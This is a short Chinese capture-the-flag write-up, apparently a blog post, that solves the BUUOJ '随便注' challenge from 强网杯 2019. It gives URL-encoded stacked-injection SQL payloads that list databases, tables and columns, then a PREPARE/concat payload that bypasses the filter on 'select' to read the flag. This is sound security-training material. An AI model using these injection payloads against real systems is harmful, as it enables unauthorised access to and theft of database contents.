题目链接:https://buuoj.cn/challenges#[强网杯 2019]随便注
打开环境后,如下所示。
通过输入 '
,确认该处是由单引号闭合。
通过输入 Payload:'union select 1;#
,可以发现后端对一些关键词进行了过滤。
尝试堆叠注入,可以查询到数据库名以及当前使用的数据库中存在的表名。
Payload:'%3bshow+databases%3b%23
、'%3bshow+tables%3b%23
(URL 编码)。
可以发现存在一个奇怪的表,即 "1919810931114514"(注释:MySQL 中,表名一般无法使用数字开头,如果要读取数字开头的表,需要使用反引号:``` 进行处理)。
继续通过堆叠注入,看看该表中有什么字段。
Payload:'%3bshow+columns+from+
1919810931114514%3b%23
(URL 编码)。
目前已经找到 flag 存放的位置,但已知 select 被过滤,通过 fuzzing,尝试获取未被过滤的关键词,再寻找其他的读取思路(并非多此一举,这样做是为了确定后端给出的过滤列表是完整的)。
接下来,可以通过预处理 + concat 函数来读取该表的数据。
Payload:'%3bPREPARE+func1+FROM+concat('SEL','ECT+flag+from+
1919810931114514')%3bEXECUTE+func1%3bDEALLOCATE+PREPARE+func1%3b%23
(URL 编码)。
参考链接:
标签:23,URL,随便,强网杯,2019,3b%,Payload From: https://www.cnblogs.com/imtaieee/p/18522674